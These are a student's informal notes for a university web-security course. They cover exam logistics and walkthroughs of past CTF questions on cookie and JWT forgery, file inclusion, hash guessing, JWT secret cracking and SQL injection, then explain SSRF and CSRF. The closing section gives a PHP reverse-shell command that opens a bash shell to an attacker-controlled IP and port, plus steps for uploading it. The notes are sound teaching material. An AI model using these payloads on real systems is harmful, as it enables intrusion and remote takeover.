No content actually planned as content so going through exam

SHELL

CSP

- You will need an understanding of CSP - you may need to bypass CSP

Local file inclusion

EXAM

- Tuesday the 3rd of May
- Starts at 1pm - is a 3 hour exam (1-4pm)
- Breakdown of exam - 3 parts
    - Will be around 10 questions
    - Part a - content similar to the midterm - everything up to and including week 5
    - Part b will be weeks 6-9 content
        - This will have harder 1-5 challenges in here too
    - Part c - the distinguisher between extended and base course
        - Extended - get more difficult challenges
        - Base - get things to do with defensive structure
            - E.g. here is a pieces of code, it is vulnerable to SQL injection, how would you write the code so that it is not vulnerable to the extension
            - If there is an extended response question it will be in part c
            - The more explicit you can be the better in your response here
            - Could be harder challenges here too
            - Pseudocode is allowed here - your code does not need to compile and it does not need to run
            - As long as we can see reason and your explanation for what you do here
        - Is a unique set of questions between base and extended
            - Base - defensive - might have to fix code/address vulnerability or you might have to detail an analysis
- What we are assessing in the exam - how well you understand the content and how well you can apply this (how you put this into practice)
- In the exam - you will not be asked to do recon
    - You might be asked to find a vulnerability point but you won't be asked to bruteforce the subdomain to get the questions
- The questions will be clear about whether there is a vulnerability on the page
    - Will not have things where you have to inspect the source and vulnerabilities should be relatively easy to find
- All the sections will be worth the same
    - You get one mark for following instructions

    - 33% for each section
    - Part a will be 1 hour
    - The questions within the sections may be worth different weights but will be obvious as to what they would be worth relative to others
- Format of the exam - text file, upload it to moodle
    - Should include the flag and how you got the flag
    - If you didn't get the flag it should include all the things that you tried
    - Will be submitted into moodle - just like the midterm
- Details of exam will posted on open learning as well as an exam live page which will have the scope of what is included
- If there is technical difficulties email kris and cc with course administrator and hamish
    - If you have tech difficulties that are not in exam live page then you will need to email Kris admin
    - The course admin is rahat - email will be in the class details page
- In the event that something goes down then this is where you follow the exam live page - it will have detail of what to do in the meantime
- Hurdle for the final? - NO
- Results will be scaled
- Don't rely on one tool

LAST YEAR'S EXAM

- Q0 nothing to find

## Q1

*Sorry your token has expired*

- Ey is just a base 64 encoding of a curly brace
- Token has expired so maybe it will generate a new one so if we delete the cookie and refresh what happens
    - It says welcome don't go poking around
- Does not guarantee that it will be a jwt
- We would copy the cookie in inspect tools
- Decode that in jwt
    - Is just a base 64 encoding because there is no payload here - is just a base64 token
    - If you see == then it's usually just base64 not jwt
- Change isAdmin to 1
- Change the expiry date
- We get a message saying there are no admins so change the admin back to 0 and just change the expiry date
- Now we get a message saying that we have been blocked for hacking
- Go back to the cookie to see that there is an id
    - If they have blocked that id because we set that to admin

    - Generate a new cookie and then just reset the expiry date here and then paste that cookie in there after not changing the admin section
    - Then reload page and you have the flag

Expiry in inspect tools in expires/max age - is checked by the browser as to weather it sends that cookie in the first place
The cookie that the server checks has the encoding of expiry in it - The server will check whether the cookie is expired and whether it is valid

When you hit log out you send that cookie across to the server and is meant to invalidate it

## Q2

You are using the English version of the site

- Send a test thing
- Look at the cookie see that it is php
- Try to change the language
- See that it raises fr.php not there
- Try to go lang=./flag because it seems as if we are looking for a particular location thing
    - It loads up the flag

## Q3

- Submit a ticket and see what happens
- See that there is a bit of a code after the ticket submitted
- Check base64 decoding
- Crackstation can tell you what it is - go through this and see what it might be
    - Confirms that this is an md5
    - Result shows the input that we put into the ticket
- Md5 encode “flag” - if doing it in bash make sure to ensure that you are not including the new line
    - Encode this and then paste it into the link of support tickets
- Find the flag this way
- In your write up make sure to make note that the length of the md5 is a certain length and this is something to note when trying to figure out the hash encoding

## Q4

- Try and login
- Inspect page source and see what is in there
- If you’re in doubt check page source and /robots.txt

- There is hardcoded credentials in page source
- Login with those details
- Check chadmin
    - See that only chadmin is allowed there
    - Check the cookie
    - See that the payload says that isChad is false
- Notice that it is an actual JWT
- See that it might not work because it needs to be signed properly
- Check to see the inspect of all the pages see if there are any secrets hard coded in
- Realize that there might be anything else on the page
- So offline bruteforce signature signing
    - Find that it will be i love you
    - You can bruteforce these types of keys
    - You just needed a jwt bruteforcer (jwt cracker) and a wordlists
    - Common wordlists is rockyou.txt
    - If we use the jwt bruteforce lists for offline brute forcing tools
    - It will spit out that i love you as the secret
- Offline brute forcing is fine to do in this exam
- Would be wise to set up generic tool for cracking jwt and flask session tokens
    - Could have things ready to go when thee exam happens
    - During the exam could have those tools ready to go for the exam if you want
- Once you have the secret you can change isChad and get the flag

## Q4

- Go to the login page
- Try and sign in as a user
- Create a user
- Login as that user
- See that it says that you need to be an admin to get things shown on the screen
- Open burp suite and get the register see that it sends to /js/auth.js
- Open this up on thebrowser: q5.final.quoccabank.com/js/auth.js
- Get the token and check this in jwt
- See that the payload is something short like “d>h0 - tiny payload that comes out as gibberish tells us that this is a flask token
- Try sql injection cos we can’t seem to sign in as admin atm
    - Put this into burp suite repeater
- See that special characters don’t seem to be doing anything in the password field
    - Confirm that this also doesn’t work in the username field
- Create a new user with Admin and a password rather than admin
- In register it breaks it when we go admin’”; as the username
    - We get a 500 error when we do that
    - “ in register does not break anything
    - ‘ in register encounters a database error

- Think through the process of registering a user - what is actually happening here
- Open robots.txt to see the source code
- Try going test', 'blag', 1); -- test"
    - This will create the user properly
- Now login with test and blag
- Note that we have to encode the password so make sure we encode that here and then inject that as a user - when you sign in there you are able to see the flag

Help session on Thursday at 1

SSRF

- Server side request forgery
    - This is server side request forgery
    - Get access from something that we do have access to
    - Bypasses the firewall and internal protections
    - The server is told to make a request from a location that it is not meant to
    - As a result we get the server to make a request to a malicious site
    - A lot of the time it is used for recon

Cross site request forgery

- You are making someone else's browser make a request to a site
- Victim logs into a bank account - reason why we do this is because we need a cookie (important that this happens)
- Bank assigns a cookie
- Hacker gets a victim to go to their website and in this website the hacker creates the website such that when you press a button a request is made
- Instead of making a request to hacker.com/login you are making a request to bank.com/transfer
    - We hardcoded this link - request is up to the browser to decode and across - the victim doesn't know any different
    - So if this was a phishing attack and they clicked login then it would send the cookie with the hardcoded values to transfer money to the hacker
    - Instead of exfiltrating cookie we directly the hard code transfer to the bank is sent to the bank to send the hacker money
- Way to get around this - every time you load a transfer form, you give the form a CSRF token - uniquely generated
    - Everytime receive a request that says transfer funds it needs to have a valid CSRF token to be processed, otherwise its dropped

Rev shell for gcc

- Once you have php info

Go to revshells.com

Go with PHP system

- Set our IP and port first
- Use ngrok tcp
- Get the IP for our web interface
- Get that IP and past this in and get the port we are working with
- Copy the output from
- Paste this in our PHP section
- Use \ to escape the internal “ quotes
- Reupload that file that you have created and edited
- Run that so that we force the gcc site to now have revshell
- Php exec in this context will work because php system opened a socket and it didn’t keep it open
    - Instead of using socket can use /bin/bash
- ?php exec(\”/bin/bash -c ‘bash -i> /dev/tcp/IP/PORT\”);/?
- Php revshells - once you have phpinfo running
    - There is no difference between spawning a new shell and running phpinfo

Reverse shell - execute this on the server so that the server opens a connection to us and ask us for commands to run on this system